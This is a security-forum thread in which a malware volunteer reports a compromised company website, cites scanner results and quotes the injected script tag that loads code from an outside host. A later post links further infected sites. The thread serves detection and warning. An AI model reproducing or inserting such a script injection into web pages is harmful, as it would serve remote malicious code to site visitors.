Avast community forum
Home
Help
Search
Login
Register
Avast WEBforum
»
Other
»
Viruses and worms
(Moderators:
Maxx_original
,
misak
) »
Is this site being detected?
« previous
next »
Print
Pages: [
1
]
Go Down
Author
Topic: Is this site being detected? (Read 1384 times)
0 Members and 1 Guest are viewing this topic.
polonus
Avast Überevangelist
Probably Bot
Posts: 33897
malware fighter
Is this site being detected?
«
on:
January 27, 2015, 10:45:31 PM »
See:
http://killmalware.com/horizon.vg/
See:
https://www.virustotal.com/nl/url/61685bbb13b2b614f9ccae8707234b66a5bba338034308c63e80ab98acad637d/analysis/#additional-info
Flagged here:
http://quttera.com/detailed_report/horizon.vg
index.html
Severity: Malicious
Reason: Detected encoded JavaScript code commonly used to hide malicious behaviour.
Details: Malicious obfuscated JavaScript threat
Offset: 1664
Threat dump:
https://www.uploady.com/#!/download/Xs5adH4ned0/xSqSGaAh8HYgIsnF
Threat dump MD5: 672B19A5B7E9D883AA9BD3953234E5BB
File size[byte]: 4528
File type: ASCII
Page/File MD5: A655D0CE302695C8D9AC6FD72C0F03C8
Scan duration[sec]: 0.006000
Website Malware mwjs-include-suspicious?v14 htxp://horizon.vg
Website Malware mwjs-include-suspicious?v14
http://horizon.vg/404javascript.js
Website Malware MW:BLK:2
http://horizon.vg
Known javascript malware. Details:
http://labs.sucuri.net/db/malware/mwjs-include-suspicious?v14
<td><div id="footer">Copyright 2009 © Horizon Capital Management S.A. All rights reserved.</div><!--db23fd--><script type="text/javascript" src="htxp://sklogistiek.nl/dy3k4rmp.php?id=4406613"></script><!--/db23fd-->
See:
http://www.yandex.com/infected?url=horizon.vg&l10n=en
polonus
Logged
Cybersecurity is more of an attitude than anything else. Avast Evangelists.
Use NoScript, a limited user account and a virtual machine and be safe(r)!
Pondus
Probably Bot
Posts: 37527
Not a avast user
Re: Is this site being detected?
«
Reply #1 on:
January 27, 2015, 11:05:58 PM »
Quote
Is this site being detected?
https://www.virustotal.com/en/file/f74cb4e0dd35c0dc3b73d8665e514f072fab237ec588954e9430cced9899d9aa/analysis/1422396289/
Logged
polonus
Avast Überevangelist
Probably Bot
Posts: 33897
malware fighter
Re: Is this site being detected?
«
Reply #2 on:
December 04, 2017, 12:56:56 AM »
This javascript malware still around, example here:
(also a phish):
https://urlquery.net/report/830065e4-733c-465f-9798-7e079be79c89
and
https://www.virustotal.com/nl/url/41e167f940c571159faefb8e6643e56ee3b32f87eaa1c92e9354aee3fd1ca14b/analysis/1512344571/
and
https://quttera.com/detailed_report/www.thebernoullieffect.com
and
https://sitecheck.sucuri.net/results/www.thebernoullieffect.com
Do not visit this website as it is not for minors (content).
pol
Logged
Cybersecurity is more of an attitude than anything else. Avast Evangelists.
Use NoScript, a limited user account and a virtual machine and be safe(r)!
Print
Pages: [
1
]
Go Up
« previous
next »
Avast WEBforum
»
Other
»
Viruses and worms
(Moderators:
Maxx_original
,
misak
) »
Is this site being detected?